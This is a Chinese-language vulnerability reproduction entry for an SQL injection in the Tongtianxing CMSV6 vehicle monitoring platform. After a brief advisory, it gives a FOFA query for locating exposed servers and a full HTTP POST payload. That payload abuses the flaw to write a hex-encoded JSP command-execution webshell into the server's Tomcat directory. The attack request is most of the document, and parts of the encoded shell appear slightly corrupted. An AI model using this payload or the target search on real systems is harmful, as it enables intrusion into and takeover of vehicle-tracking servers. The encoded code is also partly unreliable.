T1-8通天星-CMSV6车载定位监控平台-SQL

漏洞描述：

2024年5月，通天星CMSV6发布新版本修复了一处SQL注入漏洞。漏洞是由于通天星CMSV6车载定位监控平台未对用户的输入进行预编译，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。该漏洞可通过SQL注入实现文件写入进行远程代码执行，获取服务器权限。建议及时修复漏洞。

影响版本：

通天星CMSV6车载定位监控平台 < 7.33.0.7_20240508

网站图片：

fofa语法：

body="/808gps/"

漏洞复现：

SQL注入写webshell payload：

```
POST /point_manage/merge HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded

id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e7075745374726561620696e203d2052756e74696d652e67657452756e74696d6528292e657865632872657175756573742e67657450617261646574657228226364222929292e676574496e707574537472656164283b696e742061203d202d313b627974655b5d2062203d206e6577206279746553233034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e726561642822292922293d2d31297b6f75742e7072696e746c6e286e65772053747269672e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c652861707065726528293b253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/rce.jsp' FROM user_session a
WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8
```

效果图：

效果图：